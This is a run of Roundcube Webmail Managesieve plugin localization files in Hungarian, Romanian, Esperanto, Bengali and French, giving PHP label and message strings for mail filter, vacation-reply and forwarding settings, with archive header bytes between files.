$labels['spamtestisunknown'] = 'ismeretlen';
$labels['vacation'] = 'Irodán kívül';
$labels['vacation.reply'] = 'Válasz az üzenetre';
$labels['vacation.advanced'] = 'Haladó beállítások';
$labels['vacation.from'] = 'Válasz küldőjének címe:';
$labels['vacation.subject'] = 'Tárgy';
$labels['vacation.body'] = 'Törzs';
$labels['vacation.start'] = 'Kezdő időpontja';
$labels['vacation.end'] = 'Befejezés időpontja';
$labels['vacation.status'] = 'Állapot';
$labels['vacation.on'] = 'Be';
$labels['vacation.off'] = 'Ki';
$labels['vacation.addresses'] = 'Saját e-mail címeim';
$labels['vacation.interval'] = 'Válasz intervallum';
$labels['vacation.after'] = 'Tedd az irodán kívül szabályt ez után';
$labels['vacation.saving'] = 'Adatok mentése...';
$labels['vacation.action'] = 'Beérkező üzenet akció';
$labels['vacation.keep'] = 'Megtartás';
$labels['vacation.discard'] = 'Érvénytelenít';
$labels['vacation.redirect'] = 'Átírányítás ide';
$labels['vacation.copy'] = 'Másolat küldése ide';
$labels['forward'] = 'Továbbítás';
$labels['forward.redirect'] = 'Átírányítás ide';
$labels['forward.copy'] = 'Másolat küldése ide';
$labels['forward.on'] = 'Be';
$labels['forward.off'] = 'Ki';
$labels['forward.status'] = 'Állapot:';
$labels['forward.action'] = 'A beérkező leveleken hajtsa végre a következő műveletet:';
$labels['forward.saving'] = 'Adatok mentése...';
$labels['filladdresses'] = 'Töltsd ki mindent a címeimmel';
$labels['arialabelfiltersetactions'] = 'Szűrő készlet müveletek';
$labels['arialabelfilteractions'] = 'Szűrő müveletek';
$labels['arialabelfilterform'] = 'Szűrő tulajdonságai';
$labels['ariasummaryfilterslist'] = 'Szűrők listája';
$labels['ariasummaryfiltersetslist'] = 'Szűrő készletek listája';
$labels['filterstitle'] = 'Bejövő üzenetek szűrőinek szerkesztése';
$labels['vacationtitle'] = 'Irodán kiívül szabász szerkesztése';
$labels['forwardtitle'] = 'Levél továbbítási szabály szerkesztése';
$labels['message'] = 'Üzenet';
$labels['duplicate'] = 'duplikált';
$labels['notduplicate'] = 'nem duplikált';
$labels['duplicate.handle'] = 'kezelő:';
$labels['duplicate.header'] = 'fejléc:';
$labels['duplicate.uniqueid'] = 'azonsító:';
$labels['duplicate.seconds'] = 'timeout (másodperc):';
$labels['duplicate.last'] = 'relatív az utolsó végrehajtástól';
$messages['filterunknownerror'] = 'Ismeretlen szerverhiba';
$messages['filterconnerror'] = 'Nem tudok a szűrőszerverhez kapcsolódni';
$messages['filterdeleteerror'] = 'A szűrőt nem lehet törölni. Szerverhiba történt';
$messages['filterdeleted'] = 'A szűrő törlése sikeres';
$messages['filtersaved'] = 'A szűrő mentése sikeres';
$messages['filtersaveerror'] = 'A szűrő mentése sikertelen. Szerverhiba történt';
$messages['filterformerror'] = 'A szűrő űrlapon hibák vannak.';
$messages['filterdeleteconfirm'] = 'Biztosan törli ezt a szűrőt?';
$messages['ruledeleteconfirm'] = 'Biztosan törli ezt a szabályt?';
$messages['actiondeleteconfirm'] = 'Biztosan törli ezt a műveletet?';
$messages['forbiddenchars'] = 'Érvénytelen karakter a mezőben';
$messages['cannotbeempty'] = 'A mező nem lehet üres';
$messages['ruleexist'] = 'Már van ilyen névvel elmentett szűrő.';
$messages['setactivateerror'] = 'A szűrőkészlet aktiválása sikertelen. Szerver hiba történt.';
$messages['setdeactivateerror'] = 'A szűrőkészlet deaktiválása sikertelen. Szerver hiba történt.';
$messages['setdeleteerror'] = 'A szűrőkészlet törlése sikertelen. Szerver hiba történt.';
$messages['setactivated'] = 'A szűrőkészlet aktiválása sikeres.';
$messages['setdeactivated'] = 'A szűrőkészlet deaktiválása sikeres.';
$messages['setdeleted'] = 'A szűrőkészlet törlése sikeres.';
$messages['setupdated'] = 'A szűrőkészlet frissítése sikeres.';
$messages['setdeleteconfirm'] = 'Biztos, hogy törlöd a kiválasztott szűrőkészletet?';
$messages['setcreateerror'] = 'Nem sikerült létrehozni a szűrőkészletet. Szerver hiba történt.';
$messages['setcreated'] = 'Szűrőkészlet sikeresen létrejött.';
$messages['activateerror'] = 'Nem sikerült engedélyezni a kiválasztott szűrö(k)et. Szerver hiba történt.';
$messages['deactivateerror'] = 'Nem sikerült kikapcsolni a kiválasztott szűrő(ke)t. Szerver hiba történt.';
$messages['deactivated'] = 'Szűrő(k) sikeresen bekapcsolva.';
$messages['activated'] = 'Szűrő(k) sikeresen kikapcsolva.';
$messages['moved'] = 'A szűrő sikeresen áthelyezve.';
$messages['moveerror'] = 'Az áthelyezés nem sikerült. Szerver hiba történt.';
$messages['nametoolong'] = 'Túll hosszu név';
$messages['namereserved'] = 'Nem használható (foglalt) név-';
$messages['setexist'] = 'A készlet már létezik.';
$messages['nodata'] = 'Legalább egyet ki kell választani.';
$messages['invaliddateformat'] = 'hibás dátum formátum';
$messages['saveerror'] = 'Az adat mentése sikertelen. Szerverhiba történt';
$messages['vacationsaved'] = 'Irodán kívül adatai sikeresen elmentve.';
$messages['forwardsaved'] = 'A továbbítási adatok sikeresen elmentve.';
$messages['emptyvacationbody'] = 'A vakácíó üzenet szövegtörzse kötelező!';
$messages['duplicate.conflict.err'] = 'Egyszerre fejléc és egyedi azonosító nem engedélyezett.';
$messages['disabledaction'] = 'A művelet nem megengedett.';
$messages['lastindexempty'] = 'Az index kötelező amikor a végétől számoljuk';
$messages['noflagset'] = 'Legalább egy jelző ki kell legyen választva.';
PKh�\"���++*plugins/managesieve/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtre';
$labels['managefilters'] = 'Administreaza filtrele pentru mesaje primite.';
$labels['filtername'] = 'Nume filtru';
$labels['newfilter'] = 'Filtru nou';
$labels['filteradd'] = 'Adauga un filtru';
$labels['filterdel'] = 'Sterge filtru.';
$labels['moveup'] = 'Muta mai sus';
$labels['movedown'] = 'Muta mai jos';
$labels['filterallof'] = 'se potriveste cu toate regulile urmatoare';
$labels['filteranyof'] = 'se potriveste cu oricare din regulile urmatoare';
$labels['filterany'] = 'toate mesajele';
$labels['filtercontains'] = 'contine';
$labels['filternotcontains'] = 'nu contine';
$labels['filteris'] = 'este egal cu';
$labels['filterisnot'] = 'este diferit de';
$labels['filterexists'] = 'exista';
$labels['filternotexists'] = 'nu exista';
$labels['filtermatches'] = 'se potriveste cu expresia';
$labels['filternotmatches'] = 'nu se potriveste cu expresia';
$labels['filterregex'] = 'se potriveste cu expresia regulata';
$labels['filternotregex'] = 'nu se potriveste cu expresia regulata';
$labels['filterunder'] = 'sub';
$labels['filterover'] = 'peste';
$labels['addrule'] = 'Adauga regula';
$labels['delrule'] = 'Sterge regula';
$labels['messagemoveto'] = 'Muta mesajul in';
$labels['messageredirect'] = 'Redirectioneaza mesajul catre';
$labels['messagecopyto'] = 'Copiaza mesajul in';
$labels['messagesendcopy'] = 'Trimite o copie a mesajului catre';
$labels['messagereply'] = 'Raspunde cu mesajul';
$labels['messagedelete'] = 'Sterge mesajul';
$labels['messagediscard'] = 'Respinge cu mesajul';
$labels['messagekeep'] = 'Pastreaza mesajele in Inbox';
$labels['messagesrules'] = 'Pentru e-mail primit:';
$labels['messagesactions'] = '...executa urmatoarele actiuni:';
$labels['add'] = 'Adauga';
$labels['del'] = 'Sterge';
$labels['sender'] = 'Expeditor';
$labels['recipient'] = 'Destinatar';
$labels['vacationaddr'] = 'Adresele mele de e-mail ';
$labels['vacationdays'] = 'Cat de des sa trimit mesajele (in zile):';
$labels['vacationinterval'] = 'Cât de des să trimit mesaje:';
$labels['vacationreason'] = 'Corpul mesajului (motivul vacantei):';
$labels['vacationfrom'] = 'Adresa expeditorului răspunsului:';
$labels['vacationsubject'] = 'Subiectul mesajului:';
$labels['days'] = 'zile';
$labels['seconds'] = 'secunde';
$labels['rulestop'] = 'Nu mai evalua reguli';
$labels['enable'] = 'Activeaza/Dezactiveaza';
$labels['filtersets'] = 'Filtrul seteaza';
$labels['filterseteditraw'] = 'Modifică set filtre';
$labels['filterdef'] = 'Definiţie filtru';
$labels['active'] = 'activ';
$labels['none'] = 'niciunul';
$labels['fromset'] = 'din setul';
$labels['fromfile'] = 'din fişier';
$labels['filterdisabled'] = 'Filtru dezactivat';
$labels['countisgreaterthan'] = 'numărul este mai mare ca';
$labels['countisgreaterthanequal'] = 'numărul este mai mare sau egal cu';
$labels['countislessthan'] = 'numărul este mai mic decât';
$labels['countislessthanequal'] = 'numărul este mai mic sau egal cu';
$labels['countequals'] = 'numărul este egal cu';
$labels['countnotequals'] = 'numaratoarea nu este egala cu';
$labels['valueisgreaterthan'] = 'valoarea este egală cu';
$labels['valueisgreaterthanequal'] = 'valoarea este mai mare sau egala cu';
$labels['valueislessthan'] = 'valoarea este mai mică decât';
$labels['valueislessthanequal'] = 'valoarea este mai mică sau egală cu';
$labels['valueequals'] = 'valoarea este egală cu';
$labels['valuenotequals'] = 'valoarea nu este egala cu';
$labels['setflags'] = 'Pune marcaje mesajului';
$labels['addflags'] = 'Adaugă marcaje mesajului';
$labels['removeflags'] = 'Şterge marcajele mesajului';
$labels['flagread'] = 'Citit';
$labels['flagdeleted'] = 'Șters';
$labels['flaganswered'] = 'Răspuns';
$labels['flagflagged'] = 'Marcat';
$labels['flagdraft'] = 'Schiță';
$labels['setvariable'] = 'Setare variabilă';
$labels['setvarname'] = 'Nume variabilă:';
$labels['setvarvalue'] = 'Valoare variabilă:';
$labels['setvarmodifiers'] = 'Modificatori:';
$labels['varlower'] = 'cu litere mici';
$labels['varupper'] = 'cu litere mari';
$labels['varlowerfirst'] = 'primul caracter cu litre mici';
$labels['varupperfirst'] = 'primul caracter cu litre mari';
$labels['varquotewildcard'] = 'caracterele speciale in citat';
$labels['varlength'] = 'lungime';
$labels['notify'] = 'Notificare trimitere';
$labels['notifytarget'] = 'Scopul notificării:';
$labels['notifymessage'] = 'Mesaj notificare (opțional)';
$labels['notifyoptions'] = 'Opțiuni notificare (opțional)';
$labels['notifyfrom'] = 'Expeditor notificare (opțional)';
$labels['notifyimportance'] = 'Importanța:';
$labels['notifyimportancelow'] = 'mică';
$labels['notifyimportancenormal'] = 'normală';
$labels['notifyimportancehigh'] = 'mare';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crează filtru';
$labels['usedata'] = 'Foloseşte următoarele date în filtru:';
$labels['nextstep'] = 'Următorul Pas';
$labels['...'] = '...';
$labels['string'] = 'Text';
$labels['currdate'] = 'Data curenta';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'header:';
$labels['year'] = 'an';
$labels['month'] = 'luna';
$labels['day'] = 'zi';
$labels['date'] = 'data (AAAA-LL-ZZ)';
$labels['julian'] = 'data (calendar iulian)';
$labels['hour'] = 'ora';
$labels['minute'] = 'minut';
$labels['second'] = 'secunda';
$labels['time'] = 'ora (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fus orar';
$labels['weekday'] = 'zi saptamana (0-6)';
$labels['advancedopts'] = 'Opţiuni avansate';
$labels['body'] = 'Corp';
$labels['address'] = 'adresă';
$labels['envelope'] = 'plic';
$labels['modifier'] = 'modificator:';
$labels['text'] = 'text';
$labels['undecoded'] = 'nedecodat (brut)';
$labels['contenttype'] = 'tip conţinut';
$labels['modtype'] = 'tip:';
$labels['allparts'] = 'toate';
$labels['domain'] = 'domeniu';
$labels['localpart'] = 'partea locală';
$labels['user'] = 'utilizator';
$labels['detail'] = 'detaliu';
$labels['comparator'] = 'comparator:';
$labels['default'] = 'implicit';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'ignoră majusculele (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'invers';
$labels['spamtestequals'] = 'este egal cu';
$labels['spamtestnotequals'] = 'este diferit de';
$labels['vacation.reply'] = 'Raspunde mesajului';
$labels['vacation.advanced'] = 'Setari avansate';
$labels['vacation.from'] = 'Adresa expeditorului răspunsului';
$labels['vacation.subject'] = 'Subiect';
$labels['vacation.body'] = 'Corp';
$labels['vacation.status'] = 'Statut';
$labels['vacation.on'] = 'Pe';
$labels['vacation.off'] = 'De pe';
$labels['vacation.addresses'] = 'Adresele mele de e-mail';
$labels['vacation.interval'] = 'Interval de raspundere';
$labels['vacation.saving'] = 'Salvez datele...';
$labels['vacation.action'] = 'Acțiune mesaj primit';
$labels['vacation.keep'] = 'Păstrează';
$labels['vacation.discard'] = 'Renunță';
$labels['vacation.redirect'] = 'Redirecționează către';
$labels['vacation.copy'] = 'Trimite o copie către';
$labels['forward.redirect'] = 'Redirecționează către';
$labels['forward.copy'] = 'Trimite o copie către';
$labels['forward.on'] = 'Pe';
$labels['forward.off'] = 'De pe';
$labels['forward.saving'] = 'Salvez datele...';
$labels['filladdresses'] = 'Completează cu toate adresele mele';
$labels['arialabelfiltersetactions'] = 'Acțiuni set filtre';
$labels['arialabelfilteractions'] = 'Acțiuni filtru';
$labels['arialabelfilterform'] = 'Propretăți filtru';
$labels['ariasummaryfilterslist'] = 'Listă filtre';
$labels['ariasummaryfiltersetslist'] = 'Listă seturi filtre';
$labels['filterstitle'] = 'Modifică filtre de mesaje primite';
$labels['vacationtitle'] = 'Modifică regulă out-of-office';
$labels['message'] = 'Mesaj';
$labels['duplicate'] = 'este duplicat';
$labels['notduplicate'] = 'nu este duplicat';
$labels['duplicate.header'] = 'antet:';
$labels['duplicate.uniqueid'] = 'identificator:';
$labels['duplicate.seconds'] = 'timeout (secunde):';
$labels['duplicate.last'] = 'relativ ultimei execuții';
$messages['filterunknownerror'] = 'Eroare necunoscută la server:';
$messages['filterconnerror'] = 'Nu mă pot conecta la server.';
$messages['filterdeleteerror'] = 'Nu pot şterge filtrul. S-a produs o eroare la server.';
$messages['filterdeleted'] = 'Filtrul a fost şters cu succes.';
$messages['filtersaved'] = 'Filtrul a fost salvat cu succes.';
$messages['filtersaveerror'] = 'Nu am putut salva filtrul. S-a produs o eroare la server.';
$messages['filterformerror'] = 'Formularul de filtre conține erori.';
$messages['filterdeleteconfirm'] = 'Chiar vrei să ştergi filtrul selectat?';
$messages['ruledeleteconfirm'] = 'Eşti sigur că vrei să ştergi regula selectată?';
$messages['actiondeleteconfirm'] = 'Eşti sigur că vrei să ştergi acţiunea selectată?';
$messages['forbiddenchars'] = 'Caractere nepermise în câmp.';
$messages['cannotbeempty'] = 'Câmpul nu poate fi gol.';
$messages['ruleexist'] = 'Filtrul cu numele specificat există deja.';
$messages['activateerror'] = 'Nu am putut activa filtrul (filtrele) selectate. S-a produs o eroare la server.';
$messages['deactivateerror'] = 'Nu am putut dezactiva filtrele (filtrele) selectate. S-a produs o eroare la server.';
$messages['deactivated'] = 'Filtrele au fost activate cu succes.';
$messages['activated'] = 'Filtrele au fost dezactivate cu succes.';
$messages['moved'] = 'Filtrele au fost mutate cu succes.';
$messages['moveerror'] = 'Nu am putut muta filtrul selectat. S-a produs o eroare la server.';
$messages['nametoolong'] = 'Numele este prea lung.';
$messages['namereserved'] = 'Nume rezervat.';
$messages['setexist'] = 'Setul există deja.';
$messages['nodata'] = 'Trebuie selectată cel putin o poziţie!';
$messages['invaliddateformat'] = 'Data sau parte din data in format invalid';
$messages['saveerror'] = 'Nu am putut salva datele. A aparut o eroare de server.';
$messages['emptyvacationbody'] = 'Corpul mesajului de vacanță este obligatoriu!';
$messages['duplicate.conflict.err'] = 'Atât antetul, cât și identificatorul unic nu sunt permise.';
PKh�\�6��+
+
'plugins/managesieve/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtriloj';
$labels['managefilters'] = 'Mastrumi filtrilojn pri enirantaj mesaĝoj';
$labels['filtername'] = 'Nomo de filtrilo';
$labels['newfilter'] = 'Nova filtrilo';
$labels['filteradd'] = 'Aldoni filtrilon';
$labels['filterdel'] = 'Forigi filtrilon';
$labels['moveup'] = 'Movi supren';
$labels['movedown'] = 'Movi malsupren';
$labels['filterany'] = 'ĉiuj mesaĝoj';
$labels['filtercontains'] = 'enhavas';
$labels['filternotcontains'] = 'ne enhavas';
$labels['filteris'] = 'egalas al';
$labels['filterisnot'] = 'ne egalas al';
$labels['filterexists'] = 'ekzistas';
$labels['filternotexists'] = 'ne ekzistas';
$labels['filtermatches'] = 'kongruas esprimon';
$labels['filternotmatches'] = 'ne kongruas esprimon';
$labels['filterregex'] = 'kongruas regularan esprimon';
$labels['filternotregex'] = 'ne kongruas regularan esprimon';
$labels['filterunder'] = 'sub';
$labels['filterover'] = 'preter';
$labels['addrule'] = 'Aldoni regulon';
$labels['delrule'] = 'Forigi regulon';
$labels['messagemoveto'] = 'Movi mesaĝon al';
$labels['messageredirect'] = 'Aidirekti mesaĝon al';
$labels['messagecopyto'] = 'Kopii mesaĝo en';
$labels['messagesendcopy'] = 'Sendi kopion de mesaĝo al';
$labels['messagereply'] = 'Respondi per mesaĝo';
$labels['messagedelete'] = 'Forigi mesaĝon';
$labels['add'] = 'Aldoni';
$labels['del'] = 'Forigi';
$labels['sender'] = 'Sendanto';
$labels['recipient'] = 'Ricevanto';
$labels['flagread'] = 'Legi';
$labels['flagdeleted'] = 'Forigita';
$labels['flagflagged'] = 'Markita';
$labels['notifymethodmailto'] = 'Retpoŝto';
$labels['notifymethodtel'] = 'Telefono';
$labels['datetest'] = 'Dato';
$labels['spamtestequals'] = 'egalas al';
$labels['spamtestnotequals'] = 'ne egalas al';
$labels['vacation.subject'] = 'Temo';
$labels['vacation.keep'] = 'Manteni';
PKh�\��M@��*plugins/managesieve/localization/bn_BD.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'মেইল/চিঠি ছিড়ে ফেলুন';
$labels['del'] = 'ফেলে দিন';
$labels['sender'] = 'প্রেরক';
$labels['flagread'] = 'পড়';
$labels['flagflagged'] = 'দাগানো (flagged)';
$labels['notifymethodmailto'] = 'ই-মেইল/চিঠি';
$labels['datetest'] = 'তারিখ';
$labels['advancedopts'] = 'জটিল বিষয়';
$labels['vacation.subject'] = 'বিষয়';
PKh�\x�ES<S<*plugins/managesieve/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtres';
$labels['managefilters'] = 'Gérer les filtres de courriels entrants';
$labels['filtername'] = 'Nom du filtre';
$labels['newfilter'] = 'Nouveau filtre';
$labels['filteradd'] = 'Ajouter un filtre';
$labels['filterdel'] = 'Supprimer le filtre';
$labels['rules'] = 'Règles';
$labels['actions'] = 'Actions';
$labels['scope'] = 'Portée';
$labels['moveup'] = 'Monter';
$labels['movedown'] = 'Descendre';
$labels['filterallof'] = 'correspondant à toutes les règles suivantes';
$labels['filteranyof'] = 'valident au moins une des conditions suivantes';
$labels['filterany'] = 'tous les courriels';
$labels['filtercontains'] = 'contient';
$labels['filternotcontains'] = 'ne contient pas';
$labels['filteris'] = 'est égal à';
$labels['filterisnot'] = 'est différent de';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'n’existe pas';
$labels['filtermatches'] = 'correspond à l’expression';
$labels['filternotmatches'] = 'ne correspond pas à l’expression';
$labels['filterregex'] = 'correspond à l’expression rationnelle';
$labels['filternotregex'] = 'ne correspond pas à l’expression rationnelle';
$labels['filterunder'] = 'plus petit que';
$labels['filterover'] = 'plus grand que';
$labels['mime'] = 'MIME :';
$labels['mimepart'] = 'Partie MIME :';
$labels['mime-message'] = 'message';
$labels['mime-anychild'] = 'tout';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'sous-type';
$labels['mime-contenttype'] = 'type de contenu';
$labels['mime-param'] = 'paramètre';
$labels['addrule'] = 'Ajouter une règle';
$labels['delrule'] = 'Supprimer une règle';
$labels['messagemoveto'] = 'Déplacer le courriel vers';
$labels['messageredirect'] = 'Rediriger le courriel vers';
$labels['messagecopyto'] = 'Copier le courriel vers';
$labels['messagesendcopy'] = 'Envoyer une copie du courriel à';
$labels['messagereply'] = 'Répondre avec le courriel';
$labels['messagedelete'] = 'Supprimer le courriel';
$labels['messagediscard'] = 'Rejeter avec le courriel';
$labels['messagekeep'] = 'Conserver le courriel dans la boîte de réception';
$labels['messagesrules'] = 'Pour les courriels entrants :';
$labels['messagesactions'] = '…exécuter les actions suivantes :';
$labels['add'] = 'Ajouter';
$labels['del'] = 'Supprimer';
$labels['sender'] = 'Expéditeur';
$labels['recipient'] = 'Destinataire';
$labels['vacationaddr'] = 'Mes adresses courriel :';
$labels['vacationdays'] = 'Fréquence d’envoi des courriels (en jours) :';
$labels['vacationinterval'] = 'Fréquence d’envoi des courriels :';
$labels['vacationreason'] = 'Corps du courriel (raison de l’absence) :';
$labels['vacationfrom'] = 'Adresse de réponse de l’expéditeur :';
$labels['vacationsubject'] = 'Objet du courriel :';
$labels['days'] = 'jours';
$labels['seconds'] = 'secondes';
$labels['rulestop'] = 'Arrêter l’évaluation des règles';
$labels['enable'] = 'Activer/désactiver';
$labels['filterset'] = 'Jeu de filtres';
$labels['filtersets'] = 'Jeux de filtres';
$labels['filtersetadd'] = 'Ajouter un jeu de filtres';
$labels['filtersetdel'] = 'Supprimer le jeu de filtres';
$labels['filtersetact'] = 'Activer le jeu de filtres actuel';
$labels['filtersetdeact'] = 'Désactiver le jeu de filtres actuel';
$labels['filterseteditraw'] = 'Modifier le jeu de filtres';
$labels['filtersetswitch'] = 'Activer, désactiver un jeu de filtres';
$labels['filterdef'] = 'Définition du filtre';
$labels['filtersetname'] = 'Nom du jeu de filtres';
$labels['newfilterset'] = 'Nouveau jeu de filtres';
$labels['active'] = 'activer';
$labels['none'] = 'aucun';
$labels['fromset'] = 'à partir du jeu';
$labels['fromfile'] = 'à partir du fichier';
$labels['filterdisabled'] = 'Filtre désactivé';
$labels['filterenabled'] = 'Le filtre est activé';
$labels['countisgreaterthan'] = 'total supérieur à';
$labels['countisgreaterthanequal'] = 'total supérieur ou égal à';
$labels['countislessthan'] = 'total inférieur à';
$labels['countislessthanequal'] = 'total inférieur ou égal à';
$labels['countequals'] = 'total égal à';
$labels['countnotequals'] = 'le nombre n’est pas égal à';
$labels['valueisgreaterthan'] = 'valeur supérieure à';
$labels['valueisgreaterthanequal'] = 'valeur supérieure ou égale à';
$labels['valueislessthan'] = 'valeur inférieure à';
$labels['valueislessthanequal'] = 'valeur inférieure ou égale à';
$labels['valueequals'] = 'valeur égale à';
$labels['valuenotequals'] = 'la valeur n’est pas égale à';
$labels['setflags'] = 'Définir les drapeaux pour le courriel';
$labels['addflags'] = 'Ajouter les drapeaux au courriel';
$labels['removeflags'] = 'Supprimer les drapeaux du courriel';
$labels['flagread'] = 'Lu';
$labels['flagdeleted'] = 'Supprimé';
$labels['flaganswered'] = 'Réponse envoyée';
$labels['flagflagged'] = 'Signalé';
$labels['flagdraft'] = 'Brouillon';
$labels['addheader'] = 'Ajouter un en-tête au courriel';
$labels['deleteheader'] = 'Supprimer l’en-tête du courriel';
$labels['headername'] = 'Nom de l’en-tête';
$labels['headervalue'] = 'Valeur de l’en-tête';
$labels['headerpos'] = 'Position de l’en-tête';
$labels['headeratstart'] = 'au début';
$labels['headeratend'] = 'à la fin';
$labels['headeroccurrence'] = 'Occurrence/position de l’en-tête';
$labels['headerfromstart'] = 'du début';
$labels['headerfromend'] = 'de la fin';
$labels['headerpatterns'] = 'Schémas de valeur d’en-tête';
$labels['headermatchtype'] = 'type de concordance :';
$labels['setvariable'] = 'Définir une variable';
$labels['setvarname'] = 'Nom de la variable :';
$labels['setvarvalue'] = 'Valeur de la variable :';
$labels['setvarmodifiers'] = 'Modificateurs :';
$labels['varlower'] = 'minuscule';
$labels['varupper'] = 'majuscule';
$labels['varlowerfirst'] = 'premier caractère en minuscule';
$labels['varupperfirst'] = 'premier caractère en majuscule';
$labels['varquotewildcard'] = 'citer les caractères spéciaux';
$labels['varlength'] = 'longueur';
$labels['varencodeurl'] = 'pourcentage encodé (pour les URL)';
$labels['notify'] = 'Envoyer la notification';
$labels['notifytarget'] = 'Cible de la notification :';
$labels['notifymessage'] = 'Courriel de notification (facultatif) :';
$labels['notifyoptions'] = 'Options de notification (facultatif) :';
$labels['notifyfrom'] = 'Expéditeur de la notification (facultatif) :';
$labels['notifyimportance'] = 'Importance :';
$labels['notifyimportancelow'] = 'faible';
$labels['notifyimportancenormal'] = 'normale';
$labels['notifyimportancehigh'] = 'haute';
$labels['notifymethodmailto'] = 'Courriel';
$labels['notifymethodtel'] = 'Téléphone';
$labels['notifymethodsms'] = 'Texto';
$labels['filtercreate'] = 'Créer un filtre';
$labels['usedata'] = 'Utiliser les données suivantes dans le filtre :';
$labels['nextstep'] = 'Étape suivante';
$labels['...'] = '…';
$labels['string'] = 'Chaîne';
$labels['currdate'] = 'Date actuelle';
$labels['datetest'] = 'Date';
$labels['dateheader'] = 'en-tête :';
$labels['year'] = 'année';
$labels['month'] = 'mois';
$labels['day'] = 'jour';
$labels['date'] = 'date (aaaa-mm-jj)';
$labels['julian'] = 'date (julien)';
$labels['hour'] = 'heure';
$labels['minute'] = 'minute';
$labels['second'] = 'seconde';
$labels['time'] = 'heure (hh:mm:ss)';
$labels['iso8601'] = 'date (ISO8601)';
$labels['std11'] = 'date (RFC2822)';
$labels['zone'] = 'fuseau horaire';
$labels['weekday'] = 'jour de la semaine (0 à 6)';
$labels['advancedopts'] = 'Options avancées';
$labels['body'] = 'Corps';
$labels['address'] = 'adresse';
$labels['envelope'] = 'enveloppe';
$labels['modifier'] = 'modificateur :';
$labels['text'] = 'texte';
$labels['undecoded'] = 'non décodé (brut)';
$labels['contenttype'] = 'type de contenu';
$labels['modtype'] = 'type :';
$labels['allparts'] = 'tout';
$labels['domain'] = 'domaine';
$labels['localpart'] = 'partie locale';
$labels['user'] = 'utilisateur';
$labels['detail'] = 'détail';
$labels['comparator'] = 'comparateur :';
$labels['default'] = 'par défaut';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'insensible à la casse (ascii-casemap)';
$labels['asciinumeric'] = 'numérique (ascii-numeric)';
$labels['index'] = 'index :';
$labels['indexlast'] = 'à l’envers';
$labels['spamtest'] = 'Le niveau de pourriel';
$labels['spamtestisgreaterthan'] = 'est supérieur à';
$labels['spamtestisgreaterthanequal'] = 'est supérieur ou égal à';
$labels['spamtestislessthan'] = 'est inférieur à';
$labels['spamtestislessthanequal'] = 'est inférieur ou égal à';
$labels['spamtestequals'] = 'est égal à';
$labels['spamtestnotequals'] = 'est différent de';
$labels['spamtestisunknown'] = 'est inconnu';
$labels['vacation'] = 'Avis d’absence';
$labels['vacation.reply'] = 'Courriel de réponse';
$labels['vacation.advanced'] = 'Paramètres avancés';
$labels['vacation.from'] = 'Adresse de réponse de l’expéditeur';
$labels['vacation.subject'] = 'Objet';
$labels['vacation.body'] = 'Corps';
$labels['vacation.start'] = 'Début';
$labels['vacation.end'] = 'Fin';
$labels['vacation.status'] = 'État';
$labels['vacation.on'] = 'Marche';
$labels['vacation.off'] = 'Arrêt';
$labels['vacation.addresses'] = 'Mes adresses courriel';
$labels['vacation.interval'] = 'Plage de réponse';
$labels['vacation.after'] = 'Mettre la règle d’avis d’absence après';
$labels['vacation.saving'] = 'Enregistrement des données…';
$labels['vacation.action'] = 'Action pour courriel entrant';
$labels['vacation.keep'] = 'Garder';
$labels['vacation.discard'] = 'Rejeter';
$labels['vacation.redirect'] = 'Réacheminer à';
$labels['vacation.copy'] = 'Envoyer une copie à';
$labels['forward'] = 'Transfert';
$labels['forward.redirect'] = 'Réacheminer à';
$labels['forward.copy'] = 'Envoyer une copie à';
$labels['forward.on'] = 'Marche';
$labels['forward.off'] = 'Arrêt';
$labels['forward.status'] = 'État :';
$labels['forward.action'] = 'Pour les courriels entrants, exécuter l’action suivante :';
$labels['forward.saving'] = 'Enregistrement des données…';
$labels['filladdresses'] = 'Remplir avec toutes mes adresses';
$labels['arialabelfiltersetactions'] = 'Actions des jeux de filtrage';
$labels['arialabelfilteractions'] = 'Actions de filtrage';
$labels['arialabelfilterform'] = 'Propriété du filtrage';
